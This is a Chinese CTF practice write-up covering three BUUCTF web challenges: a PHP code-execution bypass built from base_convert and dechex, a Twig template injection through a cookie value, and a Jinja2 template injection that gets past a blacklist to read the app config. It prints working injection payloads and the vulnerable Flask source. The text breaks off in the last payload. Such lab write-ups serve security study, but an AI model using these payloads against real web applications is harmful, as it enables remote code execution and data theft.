BUUCTF-刷题记录-4

WEB

[CISCN 2019 初赛]Love Math

这题主要是通过给的那些函数来进行一个RCE,其中值得注意的就是进制转换函数base_convert()dechex()了,我们的主要目的是造出来一个_GET,然后再通过这个来传入参数,进行RCE。而通过base_convert()函数可以进行任意进制间的一个转换,也就是可以构造出来任意的字符串,这里可以先通过一个base_convert()函数造出来一个hex2bin,然后通过dechex()函数把十进制转换成16进制,然后通过hex2bin()这个函数把该十六进制字符串转换成_GET,然后通过白名单中一些比较短的字符串来传递参数,例如picos,最终构造为

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){cos})&pi=system&cos=cat /flag

得到flag

[BJDCTF2020]Cookie is so stable

在flag栏里面输入{ {1+1}},返回2,确认为SSTI漏洞,注入点也就是为存于Cookie中的user值。

然后输入{ {7*'7'}}返回49,确认为Twig模板,然后直接打即可,payload如下

{
  
  {_self.env.registerUndefinedFilterCallback("exec")}}{
  
  {_self.env.getFilter("cat /flag")}}

[WesternCTF2018]shrine

给了源码,输入/shrine/{ {7*'7'}}返回7777777,却认为Jinja2的模板,但是不能直接打了,因为过滤掉了configself

import flask
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
#这里告诉我们flag在config里面

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{
   
   {% set {}=None%}}'.format(c) for c in blacklist]) + s
    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)

当我们需要获取配置信息时,需要获得current_app这样的全局变量,即构造如下payload即可获得flag

/shrine/{
  
  {url_for.__globals__['current_app'].config}}
/shrine/{
  
  {get_flashed_messages.__globals__['current_app'].config
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值